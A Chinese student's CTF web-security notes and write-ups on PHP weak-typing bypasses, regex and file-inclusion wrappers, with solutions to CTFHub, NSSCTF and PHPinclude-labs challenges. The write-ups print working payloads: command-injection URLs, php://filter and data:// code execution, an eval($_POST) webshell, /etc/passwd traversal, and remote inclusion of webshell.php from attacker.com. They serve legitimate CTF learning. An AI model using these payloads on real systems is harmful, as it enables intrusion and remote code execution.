个人学习25.11.30 hnusec ctf-web week3

week3

依旧按 笔记习题WP 分为两大板块

学习笔记

PHP函数安全

常见绕过

is_numeric
作用:检测变量是否是数字或数字字符串
绕过方法:可以在数字前面或者后面加上%0a %0b %0c %0d %09

绕过原理:
is_numeric 对字符串的检查较严格,字符串中包含非数字字符就会返回 false
%0a %0b %0c %0d %09 是URL编码的空白字符
在使用 == 的比较时,因为是松散比较,会从字符串开头解析数字,直到遇到非数字字符为止
也就是说可以在数字后加上这些空白字符,使得 is_numeric 返回 false 并通过松散比较

  • %0a 换行符
  • %0b 垂直制表符
  • %0c 换页符
  • %0d 回车符
  • %09水平制表符

PHP精度

PHP的双精度格式为 IEEE 754

所谓 IEEE 754 是一个国际标准,规定了浮点数在计算机中的表示和运算方法
由于计算机使用二进制,数学使用十进制,导致在浮点数计算时会出现精度问题

比如

<?php
echo 0.1 + 0.2;            // 输出:0.30000000000000004
echo 0.1 + 0.2 == 0.3;     // 输出:false
?>

IEEE 754 一般分为半精度浮点数、单精度浮点数、双精度浮点数
基本上所有语言双精度格式都采用 IEEE 754
双精度浮点数为例,在这个长度下会使用 \(1\) 位符号,\(11\) 位指数,\(52\) 位尾数

  • 符号:\(0\) 为正,\(1\) 为负
  • 指数:数据如果以 \(2\) 为底的幂,则采用偏移表示法
    单精度为 \(127\),双精度为 \(1023\)
    存储的指数 = 真实的指数 + 偏移量
  • 尾数:小数点后的数字

在 PHP 处理浮点数的运算中,采用的就是 IEEE 754 双精度格式

IEEE 754 标准在线转换网站:https://tooltt.com/floatconverter/

在PHP中,如果对一个数进行取整,所产生的最大相对误差为 \(1.11e-16\)

举些例子

echo 1989.9 . '<br>';
#返回:1989.9
echo 1989.99999999999999 . '<br>';
#返回:1990
echo 1.99999999999999 . '<br>'; # (小数为15)
#返回:2
echo 0.5799999999999999 . '<br>';
#返回:0.58
echo 1.9999999999999 . '<br>'; # (小数为13)
#返回:1.9999999999999
echo 1.0000000000001 . '<br>'; # (小数为13)
#返回:1.0000000000001
echo 1.00000000000001 . '<br>'; # (小数为15)
#返回:1

补充

strstr(v1, v2)
作用:
判断 v2 是否为 v1 的子串
如果是,则该函数返回v1字符串里 从v2第一次出现的位置开始到 v1 结尾的 字符串
否则,返回 NULL

比较和类型转换漏洞

比较运算

PHP 包含 松散比较 ( ==!=><>=<= )和 严格比较( ===!== )
松散比较 比较 ,不比较类型
严格比较 既比较 也比较 类型

原理
松散判断:先把二者转换为同一类型,再进行比较,即 先转换后比较
严格比较:先判断二者是否为一个类型,类型相同再比较值,即 先判断后比较

补充

字符串转成数字后会是 \(0\)

PHP 中类型转换有一定的缺陷
如果一个 字符串 要转成 数值 类型,首先对字符串进行一个判断
如果字符串包含 e.E 则会作为 float 来取值,否则则为 int
如果字符串起始部分为 数值 ,则采用 起始的数值 ,否则一律为 \(0\)

"123" == 123       // true,字符串转数字
"123abc" == 123    // true,取前面数字部分
"abc" == 0         // true,非数字字符串转为0
"0e123" == 0       // true,科学计数法结果为0

布尔值转换

ture == 1          // true
false == 0         // true
ture == "abc"      // true,非空字符串转为true
false == ""        // true,空字符串转为falese
false == "0"       // true,字符串"0"转为false

数组转换

[] == 0            // true,空数组转为0
[] == "0"          // false
[] == ""           // true
[] == false        // true
[1] == 1           // true,单元素数组取第一个元素
[1,2] == 1         // true,多元素数组转为1 (警告)

NULL转换

NULL == 0          // true
NULL == ""         // true
NULL == false      // true
NULL == "0"        // false

字符串"0"

"0" == 0           //true
"0" == false       //true
"0" == NULL        //false
"0" == ""          //false

PHP弱类型比较

  1. strcmp()
    strcmp(str1, str2)
    作用:
    如果 str1 小于 str2 返回 < 0
    如果 str1 大于 str2 返回 > 0
    如果两者相等,返回 0

    在 php5.0 以前,strcmp 返回的是 str2 第一位字母转成 ascii 后减去 str1 第一位字母
    当 strcmp 比较出错后,会返回 null,null 则为 0

    比如在要求 str1 != str2strcmp(str1, str2)==0
    可以让 strcmp 比较出错 实现 NULL=0 来满足条件
    传入 数组 可以让 strcmp 比较出错,比如 ?str[]

  2. is_numeric()
    is_numeric()
    作用:检测变量是否是数字或数字字符串
    对字符串的检查较严格,字符串中包含非数字字符就会返回 false
    PHP版本小于 \(8.0.0\) 时,如果传入的是字符串,会先将字符串转换成数值

  3. is_switch()
    is_switch()
    作用:和类型转换一样大同小异,case 会自动将字符转换成数值

    举个例子:

$a = "233a"; # 注意这里
$flag = "flag{Give you FLAG}";
switch ($a) {
    case 1:
        echo "No Flag";
        break;
    case 2:
        echo "No Flag";
        break;
    case 233:
        echo $flag;
        break;
    default:
        $a = 233;
        echo "Haha...";
}

输出结果为:

flag{Give you FLAG}
  1. md5()
    md5(字符串,var2)
    作用:
    计算 字符串 的 MD5 散列值
    如果 var2 为真,将返回 16 字符长度的原始二进制格式

    MD5
    是一种密码散列函数,可以产生128位(16字节)的散列值
    就像数字指纹,可以将输入的文字、文件等,输出为32个16进制字符

    • 长度:总是32个字符
    • 字符:只包含0-9和a-f

    三种特性:

    • 确定性:若输入确定,输出的散列值也是确定的
    • 雪崩效应:及时输入只是微小改变,输出的md5也天差地别
    • 不可逆性:可以由输出计算md5,md5无法反推输出

    常见绕过:

    • 简单比较绕过
      输入md5开头为0e的字符串,可以被松散比较当作科学计数法,返回值为0
    • 数组绕过
      md5(array)的返回值为NULL

    不常见但有:
    输入不同,md5仍可能相同,称为MD5碰撞
    需要时可以上传两个不同内容但md5相同的文件
    方法
    使用 FastCollmd5 进行一个简单碰撞
    首先创建一个文件 1.txt,在里边输入任意值,其次使用命令
    fastcoll -p 1.txt -o 2.txt 3.txt
    分别生成 2.txt3.txt,这时候打开会发现这些是二进制字符串(?)
    接着对这两个文件内容分别进行 md5 编码 和 url 编码
    会发现 md5 后的编码是一样的

  2. sha1()
    sha1()
    类似md5,也是一种密码散列函数
    可以把输入内容变成160位(20字节)的散列值

  • 长度:总是42个字符

  • 字符:只包含0-9和a-f

    绕过方法:
    开头为0e的字符串,可以被松散比较当作科学计数法,返回值为0
    参数不能为数组,传入数组会返回NULL

  1. $$
    叫做可变变量,允许使用一个变量的值作为另一个变量的名称
    举个例子
<?php
$name = "username";
$$name = "admin";    // 相当于 $username = "admin"

echo $username;      // 输出结果为:admin
?>

其实就是简单的套娃
$$name$"username"$username

  • 常见漏洞
$flag = "flag{Chain!}";
foreach ($_GET as $key => $value) {
    $$key = $value;
}
if ($id === "admin") {
    echo $flag;
}else{
    echo "Out!";
}
可以传入:?id=admin
  • 补充
    foreach()
    foreach($array as $value)foreach($array as $key => $value)
    前者只获得值,后者获得键和值
    作用:遍历索引数组

举个例子

<?php
$user = array(
    "name" => "Tom",
    "age" => 20,
    "role => "admin"
);

foreach($user as $key => $value){
    echo "$key: $value<br>";
}
?>
结果为  
name: Tom
age: 20
role: admin

正则表达式

基础知识

概念:
正则表达式( Regular Expressions 简称 regex 或 regexp)
是一种用于匹配和操作文本的强大工具
它是由一系列字符和特殊字符组成的模式,用于描述要匹配的文本模式

作用:
正则表达式可以在文本中 查找 替换 提取 验证 特定的模式

普通字符:

普通字符包括没有显式指定为元字符的所有 可打印不可打印字符
这包括所有大写和小写字母、所有数字、所有标点符号和一些其他符号
例如:
a 匹配字母 a 1 匹配数字 1

  1. 可打印字符类
字符 功能
[abc] a bc
[^abc] 除了 a bc
[a-z] 所有小写字母
[A-Z] 所有大写字母
[0-9] 所有阿拉伯数字
\d 数字(≈[0-9]
\D 非数字
\w 单词字符(字母数字下划线,≈[A-Za-z0-9_]
\W 非单词字符
. 任意单个字符(通常不含换行符,取决于模式)
  1. 非打印字符类
字符 功能
\cx 由x指明的控制字符
\f 换页符 等价于 \x0c\cL
\n 换行符 等价于 \x0a\cJ
\r 回车符 等价于 \x0d\cM
\s 空白(空格/制表符/换行符)等价于 [ \f\n\r\t\v]
\S 非空白 等价于 [^ \f\n\r\t\v]
\t 制表符 等价于 \x09\cI
\v 垂直制表符 等价于 \x0b\cK

\cx 太多了从表格里拉出来写一写

由x指明的控制字符
例如:
\cM 匹配一个 Control-M 或 回车符
x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字符

元字符

元字符是正则表达式中具有特殊意义的字符,它们用于定义更复杂的匹配规则
若要匹配这些特殊字符,必须首先使字符"转义",即,将反斜杠字符 \ 放在它们前面

  1. 限定符

匹配字符的次数

元字符 功能
* >=0
+ >0
? 0?1
{n} =n
{n,} >=n
{n,m} >=n,<=m
  1. 定位符

匹配的是字符的位置

元字符 功能
^ 字符串开头
$ 字符串结尾
\b 单词边界
\B 非单词边界
  1. 逻辑类
元字符 功能
(...) 捕获分组(会记住匹配内容)
(?:...) 非捕获分度(只用于组合,不保存)
A竖杠B 匹配A或B(通常配合分组控制范围)
\1 \2 ... 引用第1、2...个捕获分度匹配到的内容

文件包含

基础知识

概念
为了更好地使用代码的 重用性 ,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码,提高开发效率

漏洞成因
通常出现在PHP语言中(“PHP是世界上最安全的语言”)
在包含文件时,为了灵活的包含文件,通常会将包含的文件设置成变量
通过动态变量来引入需要包含的文件时,用户对变量的值可控
而服务器端

  1. 未对 变量值进行校验
  2. 未对变量值进行 合理的校验
  3. 校验被 绕过
    导致用户可以包含一些攻击性的文件,导致了文件包含漏洞

一点特性

  • 若文件内容符合 PHP 语法规范,包含时不管扩展名是什么都会被 PHP 解析。
  • 若文件内容不符合 PHP 语法规范,会显示其源码

文件操作函数

  • 具有文件包含功能的函数
函数 功能
include() 可以包含文件,找不到被包含的文件时只会产生警告,脚本将继续运行
require() 可以包含文件,找不到被包含的文件时会产生致命错误,并停止脚本运行
include_once() 与 include() 类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含
require_once() 与 require() 类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含
  • 具有文件读取功能的函数
函数 功能 补充
file_get_contents() 读取整个文件并返回其内容作为字符串 |
highlight_file() 高亮显示PHP文件的内容,并将结果输出到浏览器 该函数不返回文件内容,而是直接输出带有HTML标记的代码
fopen() 打开文件或URL,返回一个文件句柄 常用于以不同模式打开文件,如只读(r)、写入(w)、追加(a/a+)等
readfile() 将整个文件读取并输出到浏览器,不返回内容 |
fread() 从打开的文件中读取指定长度的内容 用法:fread($fileHandle, 100); 读取100字节的数据
fgetss() 读取文件的一行,并去除HTML标签 与fgets() 类似,但额外去除标签
fgets() 从文件句柄中读取一行内容,直到遇到换行符或文件结束 |
parse_ini_file() 解析INI格式的文件,并将其作为数组返回 |
show_source() 显示PHP脚本的源代码,并高亮显示,与highlight_file()类似 show_source()可以直接用于PHP代码,而highlight_file()用于文件
file() 将整个文件的内容读取到一个数组中,每行作为数组的一个元素 |
var_dump(scandir('/')); scandir()返回指定目录的所有文件和子目录的数组 var_dump()用于输出scandir()的结果

文件包含分类

通过所包含文件位置的不同
分成 本地远程 两种
这两种分类依赖于 php.ini 中的两个配置项

注意对配置进行更改时,On / Off 开头需大写
其次,修改完配置文件后务必要重启 Web 服务,使其配置文件生效

allow_url_fopen   (默认开启)
allow_url_include (默认关闭,远程文件包含必须开启)
  • 本地文件包含(LFI)
    顾名思义就是攻击者通过传递路径参数,诱导应用程序错误地加载服务器上的本地文件
    比如
http://127.0.0.1/?filename=/etc/passwd
http://127.0.0.1/?filename=./phpinfo.txt

条件
allow_url_fopen 必须开
allow_url_include 不要求

  • 远程文件包含(RFI)
    顾名思义就是攻击者通过提供一个恶意的URL,诱使应用程序加载远程服务器上的文件,执行恶意代码
    比如
http://127.0.0.1/?filename=http://loki.la/ReaDME.md

条件
allow_url_fopen 必须开
allow_url_include 必须开

服务器类型

判断方法:

  • 读取文件
    尝试读取 /etc/passwd
    可行就是Linux,不可行就是Windows
    (其实不可行也有可能是Linux可控点存在过滤不允许任意文件包含)
  • 大小写混写
    在 Linux 中严格区分大小写
    而 Windows 不区分大小写
    例如
    在 Windows 下你要包含的文件为 lfi.txt,即使你写成 Lfi.txtlFi.tXT等形式也可包含成功
    在 Linux 下则不行

国内的比赛,题目环境基本都是 Linux + Apache

文件包含协议

  1. file://
  • 条件
    allow_url_fopen:不受影响
    allow_url_include:不受影响
  • 作用
    从文件系统中读取指定的文件
  • 常见场景
    在文件包含漏洞中,攻击者可以利用 file:// 协议尝试访问本地文件系统
    常见的绕过方法是结合路径遍历 ../../ 来访问文件系统上的任意文件
  • 用法
    file://(文件的绝对路径和文件名)
    例如:file:///etc/passwd
  1. php://
  • 条件
    allow_url_fopen:不受影响
    allow_url_include:php://input php://stdin php://memory php://temp 时需要On
  • 作用
    访问各种类型的PHP流,如输入/输出流(I/O streams)、标准输入输出和错误描述符
    以及内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器等
  • 常见用法
协议 作用 补充
php://input 读取原始POST数据 若启用了 enable_post_data_reading 选项,在使用 enctype="multipart/form-data" 的 POST 请求中不可用
php://output 将数据写入输出流 允许以 printecho 一样的方式 写入到输出缓冲区
php://fd (>=5.3.6) 直接访问指定的文件描述符 例如 php://fd/3 引用了文件描述符 3
php://memory (>=5.1.0)将数据直接存储在内存中的流协议 使用这个协议时,PHP会在内存中创建一个临时的“文件”进行读写操作
php://temp (>=5.1.0)开始时将数据存储在内存中,并且会根据内存使用情况(数据量超过2MB)自动切换到磁盘文件 内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件
php://filter (>=5.0.0)元封装器,在数据流打开时 筛选过滤 处理文件内容 类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器

  • php://filter 参数详解
    该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递
名称 描述
resource=<要过滤的数据流> 必须项 它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 可选项 可以设定一个或多个过滤器名称,以 竖杠(写表格打不出来)分隔
write=<写链的筛选列表> 可选项 可以设定一个或多个过滤器名称,以 竖杠(写表格打不出来)分隔
<; 两个链的筛选列表> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链

过滤器:

过滤器种类 作用
字符串过滤器 对字符串进行处理,通常包括去除空格、HTML标签、转义字符等操作
转换过滤器 用于转换数据的格式或类型
压缩过滤器 对数据进行压缩,能够减少数据的大小
加密过滤器 用加密算法将数据转化为密文
字符串过滤器 作用
string.rot13 等同于 str_rot13() rot13变换
转换过滤器 作用
convert.base64-encode & convert.base64-decode 等同于 base64_encode() & base64_decode() base64编码&解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与8-bit字符串的 编码 & 解码

用法

# 直接读,PHP 代码会被解析
php://filter/resource=flag.php

# Base64编码 针对 PHP 文件(常用)
php://filter/read=convert.base64-encode/resource=flag.php

# 其他字符编码(iconv函数将字符串从UCS-2LE编码转换为UCS-2BE编码)
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

# Rot13编码
php://filter/string.rot13/resource=1.php

# Input(必须开启allow_url_include)
php://input
[POST DATA部分]
<?php phpinfo(); ?>

以下是
https://hello-ctf.com/hc-web/include/#php
中例题的详解

  • convert
    题目
<?php
// 声明文件
highlight_file(__FILE__);
// 去除所有报错
error_reporting(0);
// 声明filter
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
// 原始代码
file_put_contents($file, "<?php die();?>".$contents);

思路解析:
这道题目需要GET一个 file POST一个contents
而file被 filter 函数控制
filter函数让file中只要出现
/http https utf zlib data input rot13 base64 string log sess/i
就终止程序并返回
too young too simple sometimes naive!

然后file_put_contents($file, "<?php die();?>".$contents);
这行代码会将 contents 的值写入指定的文件 file
并在文件开头加入 <?php die();?>
这将导致文件一旦被执行时会立即停止执行

我们可以通过其他的编码方式
<?php die();?> 成为乱码,无法执行

https://www.php.net/manual/zh/mbstring.supported-encodings.php

有相当多的编码方式,随便抓一个就行

我们利用iconv
比如iconv.UCS-2LE.UCS-2BE
就是将字符串从UCS-2LE编码转换为UCS-2BE编码

因为UCS-2是小端序,UCS-2BE是大端序,在转换过程中,字节顺序被改变,从而改变了字符串的字节顺序)
前导的 <?php die();?> 被转换成乱码 ?<hp die();?>? 不再是有效的 PHP 代码,因此不会执行 die()
在PHP中,iconv过滤器可以用于转换字符编码
当我们将一个字符串从UCS-2LE转换到UCS-2BE时,实际上是将每个字符的字节序反转

写一个GET:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
接下来考虑 contents
我们的目的是cat flag
正常来说,我们需要的php代码是:
<?php system("cat fl*");
但是我们的文件已经从UCS-2LE编码转换为UCS-2BE编码
所以我们的内容也需要用UCS-2BE重新编码
编码后结果为:
?<hp pystsme"(ac tlf"*;)
写一个POST:
contents=?<hp pystsme"(ac tlf"*;)

如此,便成功取得flag

  • base64
    题目
# index.php
<?php
  highlight_file(__FILE__);
  require($_GET['filename']);
?>
# flag.php
<?php

// $flag = 'flag{th14_1s_m3_fl4g}';
echo '答案在注释里,自己找吧';

思路解析:
这道题目需要GET一个 filename
我们可知flag在flag.php文件中

但当我们试图执行这个文件
上传GET为:cat flag.php
发现返回了答案在注释里,自己找吧的字样

说明读取时解析了PHP代码
为了得到注释,我们需要看到源码
可以使用base64 并且用read=来读

传个GET
file=php://filter/read=convert.base64-encode/resource=flag.php

看到源码,也就看到了flag

  • rot13
    题目
<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
    
}else{
    highlight_file(__FILE__);
}

思路解析:
这道题需要GET一个file POST一个content
而file中的
php data : . 都会被替换为 ???
所以我们没法直接使用这些字符

文件路径在传入 file_put_contents() 前会经过一次 urldecode() 解码
所以我们可以对URL再进行一次URL编码

打个比方
你想要得到的是 a
但是你输入的 a 会被系统处理 输出 a /a=1
你可以选择输入 a*a 这样处理后就为 a*a/a=a 了

上传URL会写入 <?php die('大佬别秀了');?> 到目标文件,并附加 content 参数的内容
所以我们需要绕过die,并在content里写需要执行的php代码

我们可以用base64编码

Base64 的编码范围是 0-9 , a-z , A-Z , + 和 /
其他字符会被忽略
去掉不支持的字符 <?php die('大佬别秀了');?> 只剩下了 phpdie
因为 Base64 解码是按照 4位 一组进行解码的
所以我们需要在最终编码出来的字符串中最前面添加两个字母 以达到 Base64 解码的规则

所以上传GET:
?file=php://filter/convert.base64-decode/resource=1.php
(记得把这个URL编码两次)
POST:
content=<?php system('cat f*');
(记得把这个base64编码 编码完前面加俩字幕 比如:aa)

我们也可以使用rot13编码
原理一样的 不过不用加a

GET:
?file=php://filter/string.rot13/resource=1.php
(需要两次URL编码)
POST:
content=<?php system('cat f*');
(需要Rot13编码)

  • input
    题目
# 注意使用 php://input 的时候必须开启 allow_url_include
<?php
  highlight_file(__FILE__);
  include($_GET['filename']);
?>

思路解析:
这道题要GET一个 filename
这道题灭有别的可以执行代码的窗口 且没有过滤
所以我们可以通过 input 来自行设置函数

传个GET:
?filename=php://input
如此 网页便有了写入操作

这时候我们就可以在里面写些木马了:
<?php file_put_contents('muma.php', '<?php @eval($_POST[cmd]);');
即:把 <?php @eval($_POST[cmd]); 写入 muma.php

@:表示在执行 eval() 时屏蔽错误输出

然后我们就可以POST个cmd了:
cmd=cat fl*


  1. data://
  • 条件
    allow_url_fopen:on
    allow_url_include: on
  • 作用
    直接在URL中包含文件或二进制数据(如嵌入图像、文档等)
    例如
    data:text/plain;base64,SGVsbG8gd29ybGQh
    包含着一个Base64编码的"Hello world"字符串
    通常可以用来执行PHP代码
    例如
    data://text/plain,<?php phpinfo();

推荐使用 base64编码 进行参数传递


常见绕过

  • 路径绕过
    场景:
    ../被禁 or 限制只能加载特定目录下的文件
    LFI本地绕过

绕过方法:

  1. 双写绕过:
    ....//,服务器会把....//简化为../
    例如
?page=../../etc/passwd          *想实现的
?page=....//....//etc/passwd    *绕过后写法
  1. 绝对路径绕过:
    当知道目标文件的绝对路径时
    可以直接传入绝对路径
    例如
    ?page=/etc/passwd
  2. 编码绕过:
    ../的URL编码为%2e%2e%2f
    部分服务器未解码校验时可绕过
    例如
    ?page=%2e%2e%2f%2e%2e%2fetc/passwd
  • 后缀绕过
    场景:代码强制添加后缀
    比如 include($page . ".php")
    会强制给传入的文件增加.php后缀

绕过方法:

  1. 空字符截断:
    (PHP版本<5.3.4 && magic_quotes_gpc = Off时可用)
    使用 %0 截断后缀(%0 后的内容会被浏览器忽略)
    例如:
    ?page=../etc/passwd%00
  2. 点号/空格填充:
    在 Windows 系统中,文件名后加多个点或空格会被忽略
    例如:
    ?page=../etc/passwd........
  3. 后缀覆盖:
    当代码允许传入多个后缀时
    例如:
    ?page=../etc/passwd.php%00.txt
    %0 截断了 .txt
    保留了 .php
    但实际上读取了 passwd
  • 协议绕过
    场景:
    http:// 给禁了
    RFI远程包含

绕过方法:

  1. 协议变种:
    https:// ftp:// 替换 http://
    例如
    ?page=https://attacker.com/webshell.php
  2. 省略协议头:
    浏览器会自动补全 http://
    所以可以把协议头省略
    例如
    //attacker.com/webshell.php
  3. 编码远程地址:
    对远程URL进行 Base64编码 或者 URL编码
    例如
    ?page=php://filter/convert.base64-encode/resource=http://attacker.com/webshell.php

习题WP

RCE

CTFHub 命令注入-综合练习

进来发现没什么文字,就是php代码
读了一下,大概就是:
GET一个ip地址,并且
"/(||&|;| |/|cat|flag|ctfhub)/"
被禁了

发现ls没被禁,干脆先列出来看看
所以给让ip等于本地回环地址,再附加ls

发现数组第九个元素叫flag_is_here
试着用cat打开它(用%09%0aca\tfla\g来绕过)
发现没反应,意识到他可能是个文件夹
于是再次用ls列开它

发现数组第11个元素flag_258865938799.php
那就用cd进入这个文件夹
加上cat来打开它

最终URL:
http://challenge-cb2d39bd274989d9.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als%0als%09f\lag_is_here%0acd%09f\lag_is_here%0aca\t%09fl\ag_258865938799.php

发现出现了数组第12个元素,但没显示flag
查看源代码,发现有flag
ctfhub{fca4372830c5e52c484ecca5}

PHP

[SWPUCTF 2022 新生赛]奇妙的MD5

Problem: [SWPUCTF 2022 新生赛]奇妙的MD5

解题大致思路

进来发现问“可曾听过ctf 中一个奇妙的字符串”

查阅资料,查到所谓的万能密码ffifdyop

成功弹窗至下一阶段”仔细想想在哪里找线索“

  • 选择burpsute

    抓包,发现一段这样的文字

  <!--
  $x= $GET['x'];
  $y = $_GET['y'];
  if($x != $y && md5($x) == md5($y)){
  ;
  -->
  • 所以想到数组绕过都得NULL

    那就GET x和y

    ?x[]=1&y[]=2

  • 新界面

    还是数组绕过,不过是POST

    wqh[]=1&dsy[]=2

  • 取得flag

    NSSCTF{296d2b16-06a9-4376-a9b0-34808136d2a6}

具体攻击代码

  1. ffifdyop
  2. ?x[]=1&y[]=2
  3. wqh[]=1&dsy[]=2

总结

  • 对该题的考点总结
    md5的0e绕过
    md5的数组绕过

[SWPUCTF 2022 新生赛]funny_php

Problem: [SWPUCTF 2022 新生赛]funny_php

解题大致思路

  • 最后一个区块意思大概是过了三关就输出flag

  • 第一关
    大概意思是要让GET一个num
    让它字符串长度小于等于3,值大于999999999
    直白的输数字,字符串肯定大于3
    所以考虑别的表示数字的方法
    想到科学计数法
    于是令num等于1e9
    输出:D,成功

  • 第二关
    大概意思是GET一个str
    让str里面的NSSCTF剪掉后仍然等于NSSCTF
    那就令str等于NSSNSSCTFCTF
    输出wow,成功

  • 第三关
    第三关是md5
    要POST两个值
    看了一下必须字符串
    md5值必须要相等
    那就搞两个md5值是0e开头的
    QNKCDZO 240610708
    输出nice yoxi!,成功

  • 输出flag
    NSSCTF{825386ec-28da-4007-ab9a-62a9346378bd)

具体攻击代码

  1. ?num=1e9
  2. &Str=NSSNSSCTFCTF
  3. md5 1=QNKCDZ0&md5 2=240610708(POST)

WEEK1 WEB Begin of PHP

  • 大致看了一下代码,是五个题目,都解出来就有flag

  • Level 1
    要GET key1 key2
    要求两个变量不等但md5值相等
    那就数组绕过
    ?key1[]=1&key2[]=2

  • Level 2
    要POST key3
    要变量的md5值等于sha1值
    也数组绕过就行
    key3[]=1

  • Level 3
    要GET key4
    strcmp会比较里面的两个元素
    右半部分为0 可以让变量为数组
    因为NULL=0
    &key4[]=1

  • Level 4
    要GET key5
    需要变量不是数字且大于2023
    这个不是数字判断比较严格
    可以用科学计数法绕过
    &key5=2024e0

  • Level 5
    要POSTflag5
    禁用了字母和数字
    要求flag5为非空字符串
    那就给个符号
    &flag5=!

  • 取得flag
    flag{7a06ca07-0b87-4aff-8068-ac0dd2b45d5e}

文件包含

PHPinclude-labs-level0

先看提示

请注意理解文件包含的本质,这里的以文本形式存储不单指 /flag 是一个文本类型的文件(或者多数情况下为 flag.txt),在后续的题目中,这一点还说明该文件没有任何 php 语法特征。
你可以看到,这里相关文件虽然内容是 php 代码,但是由于是 .txt 的文本形式,当你直接访问时,服务器并不会去解析或者说执行它,而是会返回给你文本内容。
比如你可以先尝试直接访问 /DemoFlag.txt 再尝试?wrappers=DemoFlag.txt,你会发现前者服务器直接给你返回了文本内容,你能看见这个示例flag的内容,而后者反而看不到DemoFlag.txt的内容了。
更多细节请查阅:https://www.php.net/manual/zh/function.include.php

大概讲的是 文件内容是 php 代码 直接访问会看文件格式 但文件包含会执行php语句
再看文件

相关文件:
- 当前目录下 phpinfo.txt 内容为:<?php phpinfo(); ?>
- 当前目录下 backdoor.txt 内容为: <?php @eval($_POST['ctf']); ?>
- 根目录下 flag 文件,flag以文本的形式存储在文件中。flag{.....}

面临选择根目录下的flag还是当前目录下的flag.php里的flag
已知当前目录下的flag.php里的flag以静态变量形式存储在文件中
符合php语法会被执行 会执行 看不见flag
而根目录下是文本形式 不符合php语法 可以回返

所以选择根目录的
读下代码 要GET一个 wrappers
交个GET
?wrappers=/flag

取得flag
Geesec{67502a29-96a8-4ab2-b38a-8687e6be5075}

PHPinclude-labs-level1

先看提示

Now You are in /var/www/html
可知当前目录位置为/var/www/html

相关文件:
- 当前目录下 phpinfo.txt 内容为:<?php phpinfo(); ?>
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。

读一下代码
要GET一个 wrappers
file:// 帮我们补了 所以只需要写后面的地址就行

?wrappers=/flag
取得flag
Geesec{a3deb863-e99e-4c48-9e0b-d482d742b5b6}

PHPinclude-labs-level2

先看提示

本关卡你将只能使用 data 协议 — (» RFC 2397) 数据流封装器(https://www.php.net/manual/zh/wrappers.data.php),更像是给了你另外一次输入机会(x

如果传入的数据是PHP代码,就会执行代码:
data://text/plain,<?php phpinfo();?>
data://text/plain,<?php eval($_POST['helloctf']);?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGxvY3RmJ10pOz8+

or data:text/plain
相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。

读下代码 要GET一个 wrappers
还是看flag 这次的data可以执行php语句
那么就GET
?wrappers=,<?php system('cat /flag');?>
取得flag
Geesec{076c4782-f118-4fdc-af2f-674f09501cde}

PHPinclude-labs-level3

进来发现 有了一些过滤 说明得绕过了
过滤了~ ! @ # $ % ^ & * ( ) - _ + = . /flag

因为 /i 的存在 /flag 的大写也被禁了

相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。

还是打开根目录下的flag文件
括号被禁了 可以考虑URL编码 但是 % 也禁了 只能考虑别的了
这里采用 echo
GET一个 wrappers
?wrappers=,<?php echo `cat /fl''ag` ?>
取得flag
Geesec{e5057984-4f85-41d7-ab5c-ff538e68de71}

PHPinclude-labs-level4

先看提示

本关卡你将只能使用 http/https 协议 (https://www.php.net/manual/zh/wrappers.http.php) — 常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源,通常用于远程包含。
注意远程文件需要为可读的文本形式。

再看配置和文件

该关卡配置:
allow_url_fopen:On
allow_url_include:On

相关文件:
- 当前目录下 phpinfo.txt 内容为:<?php phpinfo(); ?>
- 当前目录下 backdoor.txt 内容为: <?php @eval($_POST['ctf']); ?>
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。

读一下代码 要GET一个 wrappers
然后会在wrappers前加个http:// 再被include包含
发现这里有个backdoor.txt里面的php代码可以帮忙执行POST
有POST我们就能执行cat /flag
所以目标变成包含backdoor.txt
由于要包含服务器本地的文件 那就用本地回环地址127.0.0.1
GET
?wrappers=127.0.0.1/backdoor.txt
POST
ctf=system('cat /flag');
取得flag
Geesec{1e891585-b075-4bc5-b70f-3bdae36b24fd}

PHPinclude-labs-level5

配置和文件

该关卡配置:
allow_url_fopen:On
allow_url_include:On

相关文件:
- challenge.txt 不妨先访问看看?
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。

让我直接访问看看 那就访问看看
http://80-f54cc4f2-16d5-4dd4-b991-41fbe803f008.challenge.ctfplus.cn/
里面是这样的php代码

<?php isset($_GET['Key'])&& 1==2 ? echo "<?= system('tac flag.???');?>" : die('Access Denied');?>

所以要GET一个Key
而且因为1=2永远是false
所以GET的Key要能绕过后面的判断
拼尽全力无法战胜 没招了
看了原作者的wp 原来就没法绕过 要远程文件包含
作者提供了木马https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
